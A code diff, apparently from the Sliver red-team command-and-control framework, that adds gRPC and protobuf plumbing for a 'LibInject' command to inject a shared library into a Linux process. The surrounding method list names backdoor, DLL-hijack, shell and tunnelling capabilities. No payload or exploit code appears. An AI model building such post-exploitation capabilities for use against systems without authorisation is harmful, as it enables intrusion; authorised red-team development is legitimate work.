+	137, // 196: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
+	137, // 197: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
+	137, // 198: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
+	138, // 199: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
+	139, // 200: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
+	140, // 201: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
+	141, // 202: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
+	142, // 203: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
+	143, // 204: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
+	144, // 205: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
+	145, // 206: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
+	146, // 207: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
+	147, // 208: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
+	148, // 209: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
+	149, // 210: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
+	150, // 211: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
+	151, // 212: rpcpb.SliverRPC.LibInject:output_type -> sliverpb.LibInject
+	70,  // 213: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
+	152, // 214: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
+	153, // 215: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+	154, // 216: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
+	155, // 217: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
+	155, // 218: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+	156, // 219: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
+	156, // 220: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
+	157, // 221: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
+	158, // 222: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
+	159, // 223: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
+	160, // 224: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
+	82,  // 225: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
+	0,   // 226: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
+	83,  // 227: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
+	84,  // 228: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
+	0,   // 229: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
+	85,  // 230: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
+	161, // 231: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
+	116, // [116:232] is the sub-list for method output_type
+	0,   // [0:116] is the sub-list for method input_type
 	0,   // [0:0] is the sub-list for extension type_name
 	0,   // [0:0] is the sub-list for extension extendee
 	0,   // [0:0] is the sub-list for field type_name

protobuf/rpcpb/services.proto

@@ -132,6 +132,7 @@ service SliverRPC {
     rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
     rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
     rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
+    rpc LibInject(sliverpb.LibInjectReq) returns (sliverpb.LibInject);
 
     // Beacon only commands
     rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);

protobuf/rpcpb/services_grpc.pb.go

@@ -131,6 +131,7 @@ type SliverRPCClient interface {
 	RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
 	HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
 	GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
+	LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error)
 	// Beacon only commands
 	OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
 	// Extensions
@@ -1031,6 +1032,15 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
 	return out, nil
 }
 
+func (c *sliverRPCClient) LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error) {
+	out := new(sliverpb.LibInject)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LibInject", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
 	out := new(sliverpb.OpenSession)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
@@ -1383,6 +1393,7 @@ type SliverRPCServer interface {
 	RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
 	HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
 	GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
+	LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error)
 	// Beacon only commands
 	OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
 	// Extensions
@@ -1704,6 +1715,9 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
 func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
 }
+func (UnimplementedSliverRPCServer) LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method LibInject not implemented")
+}
 func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
 }
@@ -3502,6 +3516,24 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_LibInject_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.LibInjectReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).LibInject(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/LibInject",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).LibInject(ctx, req.(*sliverpb.LibInjectReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(sliverpb.OpenSession)
 	if err := dec(in); err != nil {
@@ -4254,6 +4286,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "GetPrivs",
 			Handler:    _SliverRPC_GetPrivs_Handler,
 		},
+		{
+			MethodName: "LibInject",
+			Handler:    _SliverRPC_LibInject_Handler,
+		},
 		{
 			MethodName: "OpenSession",
 			Handler:    _SliverRPC_OpenSession_Handler,

protobuf/sliverpb/constants.go

@@ -270,6 +270,9 @@ const (
 	MsgOpenSession
 	// MsgCloseSession - Close the active session
 	MsgCloseSession
+
+	// MsgLibInjectReq - Inject a shared library into a Linux process
+	MsgLibInjectReq
 )
 
 // Constants to replace enums
@@ -513,7 +516,8 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgOpenSession
 	case *CloseSession:
 		return MsgCloseSession
-
+	case *LibInjectReq:
+		return MsgLibInjectReq
 	}
 
 	return uint32(0)

protobuf/sliverpb/sliver.proto

@@ -627,6 +627,16 @@ message RegistryValuesList {
   commonpb.Response Response = 9;
 }
 
+message LibInjectReq {
+  uint64 Pid = 1;
+  bytes Data = 2;
+  commonpb.Request Request = 9;
+}
+
+message LibInject {
+  commonpb.Response Response = 9;
+}
+
 // Tunnel - Tunnel related messages
 message Tunnel {
   uint64 TunnelID = 8 [jstype = JS_STRING];

server/rpc/rpc-tasks.go

@@ -204,7 +204,7 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
 	} else {
 		beacon, err = db.BeaconByID(req.Request.BeaconID)
 		if err != nil {
-			msfLog.Errorf("%s", err)
+			tasksLog.Errorf("%s", err)
 			return nil, ErrDatabaseFailure
 		}
 		if beacon == nil {
@@ -232,6 +232,34 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
 	return resp, nil
 }
 
+func (rpc *Server) LibInject(ctx context.Context, req *sliverpb.LibInjectReq) (*sliverpb.LibInject, error) {
+	var session *core.Session
+	var beacon *models.Beacon
+	var err error
+	if !req.Request.Async {
+		session = core.Sessions.Get(req.Request.SessionID)
+		if session == nil {
+			return nil, ErrInvalidSessionID
+		}
+	} else {
+		beacon, err = db.BeaconByID(req.Request.BeaconID)
+		if err != nil {
+			tasksLog.Errorf("%s", err)
+			return nil, ErrDatabaseFailure
+		}
+		if beacon == nil {
+			return nil, ErrInvalidBeaconID
+		}
+	}
+
+	resp := &sliverpb.LibInject{Response: &commonpb.Response{}}
+	err = rpc.GenericHandler(req, resp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, nil
+}
+
 func getOS(session *core.Session, beacon *models.Beacon) string {
 	if session != nil {
 		return session.OS